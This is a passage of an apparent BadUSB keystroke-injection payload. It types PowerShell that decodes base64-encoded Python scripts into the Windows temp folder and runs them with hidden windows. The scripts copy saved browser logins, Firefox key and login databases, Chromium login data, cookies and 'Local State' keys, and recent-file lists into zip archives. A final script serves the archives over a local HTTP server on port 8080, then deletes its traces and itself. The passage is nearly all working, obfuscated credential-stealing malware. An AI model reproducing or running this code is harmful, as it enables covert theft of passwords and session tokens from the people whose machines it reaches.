STRING pCiAgICBtdWx0aSA9IGxlbihicm93c2VycykgPiAxCiAgICByZXN1bHQgPSB7fQoKICAgIGZvciBuYW1lIGluIGJyb3dzZXJzOgogICAgICAgIGJhc2UgPSBicm93c2V
DELAY 20
STRING yX2Jhc2UobmFtZSkKICAgICAgICBpZiBub3QgYmFzZToKICAgICAgICAgICAgY29udGludWUKICAgICAgICByb3dzID0gcmVhZF9sb2dpbnMoYmFzZSwgcHJvZikKICA
DELAY 20
STRING gICAgICBpZiByb3dzOgogICAgICAgICAgICByZXN1bHRbbmFtZV0g'
ENTER
DELAY 50
STRING $b+='PSByb3dzCgogICAgaWYgbm90IHJlc3VsdDoKICAgICAgICBwcmludCgiYnJvd3Nlcl9leGZpbDogbm8gbG9naW5zIGZvdW5kIikKICAgICAgICByZXR1cm4KCiA
DELAY 20
STRING gICBpZiBtdWx0aToKICAgICAgICBwYXlsb2FkID0gcmVzdWx0CiAgICAgICAgZGVmYXVsdCA9IG9zLnBhdGguam9pbihvcy5lbnZpcm9uLmdldCgiVEVNUCIsICIuIik
DELAY 20
STRING sICJicm93c2VyX2NyZWRzLmpzb24iKQogICAgZWxzZToKICAgICAgICBwYXlsb2FkID0gcmVzdWx0W2Jyb3dzZXJzWzBdXQogICAgICAgIGRlZmF1bHQgPSBvcy5wYXR
DELAY 20
STRING oLmpvaW4ob3MuZW52aXJvbi5nZXQoIlRFTVAiLCAiLiIpLCBmInticm93c2Vyc1swXX1fY3JlZHMuanNvbiIpCgogICAgb3V0ID0gT1VUX1BBVEggb3IgZGVmYXVsdAo
DELAY 20
STRING gICAgd2l0aCBvcGVuKG91dCwgInciLCBlbmNvZGluZz0idXRmLTgiKSBhcyBmOgogICAgICAgIGpzb24uZHVtcChwYXlsb2FkLCBmLCBpbmRlbnQ9MikKICAgIHByaW5
DELAY 20
STRING 0KG91dCkKCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCg=='
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\6ce2f8bb.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\6ce2f8bb.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\2119d668') -and (Get-Item -LiteralPath $env:TEMP+'\2119d668').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}
ENTER
DELAY 30
STRING $env:BADUSB_OUT=$env:TEMP+'\db7539be.zip'
ENTER
STRING $b=''
ENTER
STRING $b+='aW1wb3J0IGdsb2IKaW1wb3J0IGpzb24KaW1wb3J0IG9zCmltcG9ydCBzaHV0aWwKaW1wb3J0IHN5cwppbXBvcnQgemlwZmlsZQoKT1VUX1BBVEggPSBvcy5lbnZ
DELAY 20
STRING pcm9uLmdldCgiQkFEVVNCX09VVCIsICIiKQoKCmRlZiB3b3JrZGlyKCk6CiAgICBpZiBzeXMucGxhdGZvcm0gPT0gIndpbjMyIjoKICAgICAgICByZXR1cm4gb3MucGF
DELAY 20
STRING 0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgImJhZHVzYl9mZiIpCiAgICByZXR1cm4gb3MucGF0aC5qb2luKCIvdG1wIiwgImJhZHVzYl9mZiIpCgo
DELAY 20
STRING KZGVmIGZpcmVmb3hfcHJvZmlsZXMoKToKICAgIGlmIHN5cy5wbGF0Zm9ybSA9PSAid2luMzIiOgogICAgICAgIGJhc2UgPSBvcy5wYXRoLmpvaW4ob3MuZW52aXJvbi5
DELAY 20
STRING nZXQoIkFQUERBVEEiLCAiIiksICJNb3ppbGxhIiwgIkZpcmVmb3giLCAiUHJvZmlsZXMiKQogICAgZWxzZToKICAgICAgICBiYXNlID0gb3MucGF0aC5qb2luKG9zLnB
DELAY 20
STRING hdGguZXhwYW5kdXNlcigifiIpLCAiLm1vemlsbGEiLCAiZmlyZWZveCIpCiAgICBpZiBub3Qgb3MucGF0aC5pc2RpcihiYXNlKToKICAgICAgICByZXR1cm4gW10KICA
DELAY 20
STRING gIHJldHVybiBbcCBmb3IgcCBpbiBnbG9iLmdsb2Iob3MucGF0aC5qb2luKGJhc2UsICIqIikpIGlmIG9zLnBhdGguaXNkaXIocCldCgoKZGVmIGNvbGxlY3Qod29yayk
DELAY 20
STRING 6CiAgICBvcy5tYWtlZGlycyh3b3JrLCBleGlzdF9vaz1UcnVlKQogICAgbWFuaWZlc3QgPSBbXQogICAgZm9yIHByb2YgaW4gZmlyZWZveF9wcm9maWxlcygpOgogICA
DELAY 20
STRING gICAgIGxhYmVsID0gb3MucGF0aC5iYXNlbmFtZShwcm9mKQogICAgICAgIGRlc3QgPSBvcy5wYXRoLmpvaW4od29yaywgbGFiZWwpCiAgICAgICAgb3MubWFrZWRpcnM
DELAY 20
STRING oZGVzdCwgZXhpc3Rfb2s9VHJ1ZSkKICAgICAgICBmb3IgbmFtZSBp'
ENTER
DELAY 50
STRING $b+='biAoCiAgICAgICAgICAgICJsb2dpbnMuanNvbiIsCiAgICAgICAgICAgICJrZXk0LmRiIiwKICAgICAgICAgICAgImNlcnQ5LmRiIiwKICAgICAgICAgICAgImN
DELAY 20
STRING vb2tpZXMuc3FsaXRlIiwKICAgICAgICAgICAgInBsYWNlcy5zcWxpdGUiLAogICAgICAgICAgICAicHJlZnMuanMiLAogICAgICAgICk6CiAgICAgICAgICAgIHNyYyA
DELAY 20
STRING 9IG9zLnBhdGguam9pbihwcm9mLCBuYW1lKQogICAgICAgICAgICBpZiBvcy5wYXRoLmlzZmlsZShzcmMpOgogICAgICAgICAgICAgICAgc2h1dGlsLmNvcHkyKHNyYyw
DELAY 20
STRING gb3MucGF0aC5qb2luKGRlc3QsIG5hbWUpKQogICAgICAgICAgICAgICAgbWFuaWZlc3QuYXBwZW5kKHsicHJvZmlsZSI6IGxhYmVsLCAiZmlsZSI6IG5hbWUsICJzaXp
DELAY 20
STRING lIjogb3MucGF0aC5nZXRzaXplKHNyYyl9KQogICAgd2l0aCBvcGVuKG9zLnBhdGguam9pbih3b3JrLCAibWFuaWZlc3QuanNvbiIpLCAidyIsIGVuY29kaW5nPSJ1dGY
DELAY 20
STRING tOCIpIGFzIGY6CiAgICAgICAganNvbi5kdW1wKG1hbmlmZXN0LCBmLCBpbmRlbnQ9MikKICAgIHJldHVybiBtYW5pZmVzdAoKCmRlZiB6aXBfZGlyKHNyYywgZGVzdCk
DELAY 20
STRING 6CiAgICB3aXRoIHppcGZpbGUuWmlwRmlsZShkZXN0LCAidyIsIHppcGZpbGUuWklQX0RFRkxBVEVEKSBhcyB6ZjoKICAgICAgICBmb3Igcm9vdCwgXywgZmlsZXMgaW4
DELAY 20
STRING gb3Mud2FsayhzcmMpOgogICAgICAgICAgICBmb3IgbmFtZSBpbiBmaWxlczoKICAgICAgICAgICAgICAgIHBhdGggPSBvcy5wYXRoLmpvaW4ocm9vdCwgbmFtZSkKICA
DELAY 20
STRING gICAgICAgICAgICAgIHpmLndyaXRlKHBhdGgsIGFyY25hbWU9b3MucGF0aC5yZWxwYXRoKHBhdGgsIHNyYykpCgoKZGVmIGRlZmF1bHRfb3V0KCk6CiAgICBpZiBzeXM
DELAY 20
STRING ucGxhdGZvcm0gPT0gIndpbjMyIjoKICAgICAgICByZXR1cm4gb3Mu'
ENTER
DELAY 50
STRING $b+='cGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgImZpcmVmb3guemlwIikKICAgIHJldHVybiAiL3RtcC9maXJlZm94LnppcCIKCgpkZWYgbWF
DELAY 20
STRING pbigpOgogICAgd29yayA9IHdvcmtkaXIoKQogICAgaWYgb3MucGF0aC5pc2Rpcih3b3JrKToKICAgICAgICBzaHV0aWwucm10cmVlKHdvcmssIGlnbm9yZV9lcnJvcnM
DELAY 20
STRING 9VHJ1ZSkKICAgIG1hbmlmZXN0ID0gY29sbGVjdCh3b3JrKQogICAgb3V0ID0gT1VUX1BBVEggb3IgZGVmYXVsdF9vdXQoKQogICAgaWYgbm90IG1hbmlmZXN0OgogICA
DELAY 20
STRING gICAgIHdpdGggb3BlbihvdXQucmVwbGFjZSgiLnppcCIsICIudHh0IiksICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSgibm8
DELAY 20
STRING gZmlyZWZveCBwcm9maWxlcyBmb3VuZFxuIikKICAgIGVsc2U6CiAgICAgICAgemlwX2Rpcih3b3JrLCBvdXQpCiAgICBzaHV0aWwucm10cmVlKHdvcmssIGlnbm9yZV9
DELAY 20
STRING lcnJvcnM9VHJ1ZSkKICAgIHByaW50KG91dCkKCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCg=='
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\37b898a7.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\37b898a7.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\db7539be.zip') -and (Get-Item -LiteralPath $env:TEMP+'\db7539be.zip').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}
ENTER
DELAY 30
STRING $env:BADUSB_OUT=$env:TEMP+'\79889223.zip'
ENTER
STRING $b=''
ENTER
STRING $b+='aW1wb3J0IGpzb24KaW1wb3J0IG9zCmltcG9ydCBzaHV0aWwKaW1wb3J0IHN5cwppbXBvcnQgemlwZmlsZQoKT1VUX1BBVEggPSBvcy5lbnZpcm9uLmdldCgiQkF
DELAY 20
STRING EVVNCX09VVCIsICIiKQpXT1JLRElSID0gb3MucGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgImJhZHVzYl90b2siKQoKCmRlZiBjaHJvbWl1bV9
DELAY 20
STRING iYXNlcygpOgogICAgbG9jYWwgPSBvcy5lbnZpcm9uLmdldCgiTE9DQUxBUFBEQVRBIiwgIiIpCiAgICBmb3IgdmVuZG9yLCBzdWIgaW4gKCgiR29vZ2xlIiwgIkNocm9
DELAY 20
STRING tZSIpLCAoIk1pY3Jvc29mdCIsICJFZGdlIiksICgiQnJhdmVTb2Z0d2FyZSIsICJCcmF2ZS1Ccm93c2VyIikpOgogICAgICAgIGJhc2UgPSBvcy5wYXRoLmpvaW4obG9
DELAY 20
STRING jYWwsIHZlbmRvciwgc3ViLCAiVXNlciBEYXRhIikKICAgICAgICBpZiBvcy5wYXRoLmlzZGlyKGJhc2UpOgogICAgICAgICAgICB5aWVsZCBzdWIsIGJhc2UKCgpkZWY
DELAY 20
STRING gY29sbGVjdCgpOgogICAgb3MubWFrZWRpcnMoV09SS0RJUiwgZXhpc3Rfb2s9VHJ1ZSkKICAgIG1hbmlmZXN0ID0gW10KICAgIGZvciBicm93c2VyLCBiYXNlIGluIGN
DELAY 20
STRING ocm9taXVtX2Jhc2VzKCk6CiAgICAgICAgZGVzdCA9IG9zLnBhdGguam9pbihXT1JLRElSLCBicm93c2VyKQogICAgICAgIG9zLm1ha2VkaXJzKGRlc3QsIGV4aXN0X29
DELAY 20
STRING rPVRydWUpCiAgICAgICAgbG9jYWxfc3RhdGUgPSBvcy5wYXRoLmpvaW4oYmFzZSwgIkxvY2FsIFN0YXRlIikKICAgICAgICBpZiBvcy5wYXRoLmlzZmlsZShsb2NhbF9
DELAY 20
STRING zdGF0ZSk6CiAgICAgICAgICAgIHNodXRpbC5jb3B5Mihsb2NhbF9zdGF0ZSwgb3MucGF0aC5qb2luKGRlc3QsICJMb2NhbCBTdGF0ZSIpKQogICAgICAgICAgICBtYW5
DELAY 20
STRING pZmVzdC5hcHBlbmQoeyJicm93c2VyIjogYnJvd3NlciwgImZpbGUi'
ENTER
DELAY 50
STRING $b+='OiAiTG9jYWwgU3RhdGUifSkKICAgICAgICBmb3IgcHJvZiBpbiAoIkRlZmF1bHQiLCAiUHJvZmlsZSAxIiwgIlByb2ZpbGUgMiIpOgogICAgICAgICAgICByb29
DELAY 20
STRING 0ID0gb3MucGF0aC5qb2luKGJhc2UsIHByb2YpCiAgICAgICAgICAgIGlmIG5vdCBvcy5wYXRoLmlzZGlyKHJvb3QpOgogICAgICAgICAgICAgICAgY29udGludWUKICA
DELAY 20
STRING gICAgICAgICAgcGQgPSBvcy5wYXRoLmpvaW4oZGVzdCwgcHJvZikKICAgICAgICAgICAgb3MubWFrZWRpcnMocGQsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgIGZ
DELAY 20
STRING vciBuYW1lIGluICgiTG9naW4gRGF0YSIsICJDb29raWVzIiwgIldlYiBEYXRhIiwgIk5ldHdvcmsiLCAiUHJlZmVyZW5jZXMiKToKICAgICAgICAgICAgICAgIHNyYyA
DELAY 20
STRING 9IG9zLnBhdGguam9pbihyb290LCBuYW1lKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoc3JjKToKICAgICAgICAgICAgICAgICAgICBzaHV0aWwuY29
DELAY 20
STRING weTIoc3JjLCBvcy5wYXRoLmpvaW4ocGQsIG5hbWUucmVwbGFjZSgiICIsICJfIikpKQogICAgICAgICAgICAgICAgICAgIG1hbmlmZXN0LmFwcGVuZCh7ImJyb3dzZXI
DELAY 20
STRING iOiBicm93c2VyLCAicHJvZmlsZSI6IHByb2YsICJmaWxlIjogbmFtZX0pCiAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKFdPUktESVIsICJtYW5pZmVzdC5qc29uIik
DELAY 20
STRING sICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICBqc29uLmR1bXAobWFuaWZlc3QsIGYsIGluZGVudD0yKQogICAgcmV0dXJuIG1hbmlmZXN0CgoKZGV
DELAY 20
STRING mIHppcF9kaXIoc3JjLCBkZXN0KToKICAgIHdpdGggemlwZmlsZS5aaXBGaWxlKGRlc3QsICJ3IiwgemlwZmlsZS5aSVBfREVGTEFURUQpIGFzIHpmOgogICAgICAgIGZ
DELAY 20
STRING vciByb290LCBfLCBmaWxlcyBpbiBvcy53YWxrKHNyYyk6CiAgICAg'
ENTER
DELAY 50
STRING $b+='ICAgICAgIGZvciBuYW1lIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBuYW1lKQogICAgICAgICAgICAgICAgYXJ
DELAY 20
STRING jID0gb3MucGF0aC5yZWxwYXRoKHBhdGgsIHNyYykKICAgICAgICAgICAgICAgIHpmLndyaXRlKHBhdGgsIGFyY25hbWU9YXJjKQoKCmRlZiBtYWluKCk6CiAgICBpZiB
DELAY 20
STRING zeXMucGxhdGZvcm0gIT0gIndpbjMyIjoKICAgICAgICBwcmludCgidG9rZW5faGFydmVzdDogd2luZG93cyBvbmx5IikKICAgICAgICByZXR1cm4KICAgIGlmIG9zLnB
DELAY 20
STRING hdGguaXNkaXIoV09SS0RJUik6CiAgICAgICAgc2h1dGlsLnJtdHJlZShXT1JLRElSLCBpZ25vcmVfZXJyb3JzPVRydWUpCiAgICBtYW5pZmVzdCA9IGNvbGxlY3QoKQo
DELAY 20
STRING gICAgb3V0ID0gT1VUX1BBVEggb3Igb3MucGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgInRva2Vucy56aXAiKQogICAgaWYgbm90IG1hbmlmZXN
DELAY 20
STRING 0OgogICAgICAgIHdpdGggb3BlbihvdXQucmVwbGFjZSgiLnppcCIsICIudHh0IiksICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgZi53cml
DELAY 20
STRING 0ZSgibm8gY2hyb21pdW0gZGF0YSBmb3VuZFxuIikKICAgIGVsc2U6CiAgICAgICAgemlwX2RpcihXT1JLRElSLCBvdXQpCiAgICBzaHV0aWwucm10cmVlKFdPUktESVI
DELAY 20
STRING sIGlnbm9yZV9lcnJvcnM9VHJ1ZSkKICAgIHByaW50KG91dCkKCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCg=='
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\714bf833.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\714bf833.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\79889223.zip') -and (Get-Item -LiteralPath $env:TEMP+'\79889223.zip').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}
ENTER
DELAY 30
STRING $env:BADUSB_OUT=$env:TEMP+'\903f046b.zip'
ENTER
STRING $b=''
ENTER
STRING $b+='aW1wb3J0IG9zCmltcG9ydCBzaHV0aWwKaW1wb3J0IHN5cwppbXBvcnQgemlwZmlsZQoKT1VUX1BBVEggPSBvcy5lbnZpcm9uLmdldCgiQkFEVVNCX09VVCIsICI
DELAY 20
STRING iKQpXT1JLRElSID0gb3MucGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgImJhZHVzYl9yZWNlbnQiKQoKCmRlZiByZWNlbnRfc291cmNlcygpOgo
DELAY 20
STRING gICAgYXBwZGF0YSA9IG9zLmVudmlyb24uZ2V0KCJBUFBEQVRBIiwgIiIpCiAgICBwYXRocyA9IFsKICAgICAgICBvcy5wYXRoLmpvaW4oYXBwZGF0YSwgIk1pY3Jvc29
DELAY 20
STRING mdCIsICJXaW5kb3dzIiwgIlJlY2VudCIpLAogICAgICAgIG9zLnBhdGguam9pbigKICAgICAgICAgICAgYXBwZGF0YSwKICAgICAgICAgICAgIk1pY3Jvc29mdCIsCiA
DELAY 20
STRING gICAgICAgICAgICJXaW5kb3dzIiwKICAgICAgICAgICAgIlJlY2VudCIsCiAgICAgICAgICAgICJBdXRvbWF0aWNEZXN0aW5hdGlvbnMiLAogICAgICAgICksCiAgICA
DELAY 20
STRING gICAgb3MucGF0aC5qb2luKAogICAgICAgICAgICBhcHBkYXRhLAogICAgICAgICAgICAiTWljcm9zb2Z0IiwKICAgICAgICAgICAgIldpbmRvd3MiLAogICAgICAgICA
DELAY 20
STRING gICAiUmVjZW50IiwKICAgICAgICAgICAgIkN1c3RvbURlc3RpbmF0aW9ucyIsCiAgICAgICAgKSwKICAgIF0KICAgIHJldHVybiBbcCBmb3IgcCBpbiBwYXRocyBpZiB
DELAY 20
STRING vcy5wYXRoLmlzZGlyKHApXQoKCmRlZiBjb3B5X3RyZWUoc3JjLCBkZXN0X3Jvb3QpOgogICAgYmFzZSA9IG9zLnBhdGguYmFzZW5hbWUoc3JjLnJzdHJpcCgiXFwvIik
DELAY 20
STRING pCiAgICBkZXN0ID0gb3MucGF0aC5qb2luKGRlc3Rfcm9vdCwgYmFzZSkKICAgIGlmIG9zLnBhdGguaXNkaXIoc3JjKToKICAgICAgICBzaHV0aWwuY29weXRyZWUoc3J
DELAY 20
STRING jLCBkZXN0LCBkaXJzX2V4aXN0X29rPVRydWUpCiAgICBlbGlmIG9z'
ENTER
DELAY 50
STRING $b+='LnBhdGguaXNmaWxlKHNyYyk6CiAgICAgICAgb3MubWFrZWRpcnMoZGVzdF9yb290LCBleGlzdF9vaz1UcnVlKQogICAgICAgIHNodXRpbC5jb3B5MihzcmMsIG9
DELAY 20
STRING zLnBhdGguam9pbihkZXN0X3Jvb3QsIGJhc2UpKQoKCmRlZiB6aXBfZGlyKHNyYywgZGVzdCk6CiAgICB3aXRoIHppcGZpbGUuWmlwRmlsZShkZXN0LCAidyIsIHppcGZ
DELAY 20
STRING pbGUuWklQX0RFRkxBVEVEKSBhcyB6ZjoKICAgICAgICBmb3Igcm9vdCwgXywgZmlsZXMgaW4gb3Mud2FsayhzcmMpOgogICAgICAgICAgICBmb3IgbmFtZSBpbiBmaWx
DELAY 20
STRING lczoKICAgICAgICAgICAgICAgIHBhdGggPSBvcy5wYXRoLmpvaW4ocm9vdCwgbmFtZSkKICAgICAgICAgICAgICAgIGFyYyA9IG9zLnBhdGgucmVscGF0aChwYXRoLCB
DELAY 20
STRING zcmMpCiAgICAgICAgICAgICAgICB6Zi53cml0ZShwYXRoLCBhcmNuYW1lPWFyYykKCgpkZWYgbWFpbigpOgogICAgaWYgc3lzLnBsYXRmb3JtICE9ICJ3aW4zMiI6CiA
DELAY 20
STRING gICAgICAgcHJpbnQoInJlY2VudF9maWxlczogd2luZG93cyBvbmx5IikKICAgICAgICByZXR1cm4KICAgIGlmIG9zLnBhdGguaXNkaXIoV09SS0RJUik6CiAgICAgICA
DELAY 20
STRING gc2h1dGlsLnJtdHJlZShXT1JLRElSLCBpZ25vcmVfZXJyb3JzPVRydWUpCiAgICBvcy5tYWtlZGlycyhXT1JLRElSLCBleGlzdF9vaz1UcnVlKQogICAgZm9yIHNyYyB
DELAY 20
STRING pbiByZWNlbnRfc291cmNlcygpOgogICAgICAgIGNvcHlfdHJlZShzcmMsIFdPUktESVIpCiAgICBvdXQgPSBPVVRfUEFUSCBvciBvcy5wYXRoLmpvaW4ob3MuZW52aXJ
DELAY 20
STRING vbi5nZXQoIlRFTVAiLCAiLiIpLCAicmVjZW50LnppcCIpCiAgICB6aXBfZGlyKFdPUktESVIsIG91dCkKICAgIHNodXRpbC5ybXRyZWUoV09SS0RJUiwgaWdub3JlX2V
DELAY 20
STRING ycm9ycz1UcnVlKQogICAgcHJpbnQob3V0KQoKCmlmIF9fbmFtZV9f'
ENTER
DELAY 50
STRING $b+='ID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK'
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\f2183190.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\f2183190.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\903f046b.zip') -and (Get-Item -LiteralPath $env:TEMP+'\903f046b.zip').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}
ENTER
DELAY 30
STRING $env:BADUSB_HTTP_CLEANUP=$env:TEMP+'\01ca2573'+';'+$env:TEMP+'\9e783ec9'+';'+$env:TEMP+'\4fe06424'+';'+$env:TEMP+'\2119d668'+';'+$env:TEMP+'\db7539be.zip'+';'+$env:TEMP+'\79889223.zip'+';'+$env:TEMP+'\903f046b.zip'+';'+$env:TEMP+'\1e56cbf6.py'
ENTER
STRING $env:BADUSB_HTTP_FILE=$env:TEMP+'\01ca2573'+';'+$env:TEMP+'\9e783ec9'+';'+$env:TEMP+'\4fe06424'+';'+$env:TEMP+'\2119d668'+';'+$env:TEMP+'\db7539be.zip'+';'+$env:TEMP+'\79889223.zip'+';'+$env:TEMP+'\903f046b.zip'
ENTER
STRING $env:BADUSB_HTTP_PORT='8080'
ENTER
STRING $env:BADUSB_HTTP_TIMEOUT='600'
ENTER
STRING $b=''
ENTER
STRING $b+='aW1wb3J0IG9zCmltcG9ydCBzeXMKaW1wb3J0IHRocmVhZGluZwppbXBvcnQgdGltZQpmcm9tIGh0dHAuc2VydmVyIGltcG9ydCBCYXNlSFRUUFJlcXVlc3RIYW5
DELAY 20
STRING kbGVyLCBUaHJlYWRpbmdIVFRQU2VydmVyCgpQT1JUID0gaW50KG9zLmVudmlyb24uZ2V0KCJCQURVU0JfSFRUUF9QT1JUIiwgIjgwODAiKSkKVElNRU9VVCA9IGludCh
DELAY 20
STRING vcy5lbnZpcm9uLmdldCgiQkFEVVNCX0hUVFBfVElNRU9VVCIsICI2MDAiKSkKCgpkZWYgZXhwYW5kKHApOgogICAgcmV0dXJuIG9zLnBhdGguYWJzcGF0aChvcy5wYXR
DELAY 20
STRING oLmV4cGFuZHZhcnMob3MucGF0aC5leHBhbmR1c2VyKHApKSkKCgpkZWYgbG9hZF9maWxlcygpOgogICAgcmF3ID0gb3MuZW52aXJvbi5nZXQoIkJBRFVTQl9IVFRQX0Z
DELAY 20
STRING JTEUiLCAiIikKICAgIHBhdGhzID0gW2V4cGFuZChwLnN0cmlwKCkpIGZvciBwIGluIHJhdy5zcGxpdCgiOyIpIGlmIHAuc3RyaXAoKV0KICAgIHJldHVybiBbKG9zLnB
DELAY 20
STRING hdGguYmFzZW5hbWUocCksIHApIGZvciBwIGluIHBhdGhzXQoKCmNsYXNzIFJvdGF0b3I6CiAgICBkZWYgX19pbml0X18oc2VsZiwgaXRlbXMpOgogICAgICAgIHNlbGY
DELAY 20
STRING uaXRlbXMgPSBpdGVtcwogICAgICAgIHNlbGYuaWR4ID0gMAogICAgICAgIHNlbGYubG9jayA9IHRocmVhZGluZy5Mb2NrKCkKCiAgICBkZWYgbmV4dChzZWxmKToKICA
DELAY 20
STRING gICAgICB3aXRoIHNlbGYubG9jazoKICAgICAgICAgICAgaWYgbm90IHNlbGYuaXRlbXM6CiAgICAgICAgICAgICAgICByZXR1cm4gTm9uZQogICAgICAgICAgICBpZiB
DELAY 20
STRING sZW4oc2VsZi5pdGVtcykgPT0gMToKICAgICAgICAgICAgICAgIHJldHVybiBzZWxmLml0ZW1zWzBdCiAgICAgICAgICAgIGlmIHNlbGYuaWR4ID49IGxlbihzZWxmLml
DELAY 20
STRING 0ZW1zKToKICAgICAgICAgICAgICAgIHNlbGYuaWR4ID0gMAogICAg'
ENTER
DELAY 50
STRING $b+='ICAgICAgICBpdGVtID0gc2VsZi5pdGVtc1tzZWxmLmlkeF0KICAgICAgICAgICAgc2VsZi5pZHggKz0gMQogICAgICAgICAgICByZXR1cm4gaXRlbQoKCmRlZiB
DELAY 20
STRING tYWtlX2hhbmRsZXIocm90KToKICAgIGNsYXNzIEhhbmRsZXIoQmFzZUhUVFBSZXF1ZXN0SGFuZGxlcik6CiAgICAgICAgZGVmIGRvX0dFVChzZWxmKToKICAgICAgICA
DELAY 20
STRING gICAgaXRlbSA9IHJvdC5uZXh0KCkKICAgICAgICAgICAgaWYgbm90IGl0ZW06CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfZXJyb3IoNDA0KQogICAgICAgICAgICA
DELAY 20
STRING gICAgcmV0dXJuCiAgICAgICAgICAgIG5hbWUsIHBhdGggPSBpdGVtCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihwYXRoLCAicmIiKSB
DELAY 20
STRING hcyBmOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgICAgIHNlbGYuc2VuZF9
DELAY 20
STRING lcnJvcig0MDQpCiAgICAgICAgICAgICAgICByZXR1cm4KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWR
DELAY 20
STRING lcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpCiAgICAgICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb24
DELAY 20
STRING iLCBmJ2F0dGFjaG1lbnQ7IGZpbGVuYW1lPSJ7bmFtZX0iJykKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1MZW5ndGgiLCBzdHIobGVuKGRhdGE
DELAY 20
STRING pKSkKICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgIHNlbGYud2ZpbGUud3JpdGUoZGF0YSkKCiAgICAgICAgZGVmIGxvZ19tZXNzYWdlKHN
DELAY 20
STRING lbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgICAgICBwYXNzCgogICAg'
ENTER
DELAY 50
STRING $b+='cmV0dXJuIEhhbmRsZXIKCgpkZWYgY2xlYW51cCgpOgogICAgZm9yIHAgaW4gb3MuZW52aXJvbi5nZXQoIkJBRFVTQl9IVFRQX0NMRUFOVVAiLCAiIikuc3BsaXQ
DELAY 20
STRING oIjsiKToKICAgICAgICBwID0gZXhwYW5kKHAuc3RyaXAoKSkKICAgICAgICBpZiBub3QgcDoKICAgICAgICAgICAgY29udGludWUKICAgICAgICB0cnk6CiAgICAgICA
DELAY 20
STRING gICAgIG9zLnJlbW92ZShwKQogICAgICAgIGV4Y2VwdCBPU0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICBzZCA9IG9zLmVudmlyb24uZ2V0KCJCQURVU0JfU0VMRl9
DELAY 20
STRING ERUxFVEUiLCAiMSIpLmxvd2VyKCkKICAgIGlmIHNkIGluICgiMCIsICJuIiwgIm5vIiwgImZhbHNlIik6CiAgICAgICAgcmV0dXJuCiAgICB0cnk6CiAgICAgICAgb3M
DELAY 20
STRING ucmVtb3ZlKG9zLnBhdGguYWJzcGF0aChzeXMuYXJndlswXSkpCiAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICBwYXNzCgoKZGVmIG1haW4oKToKICAgIGl0ZW1zID0
DELAY 20
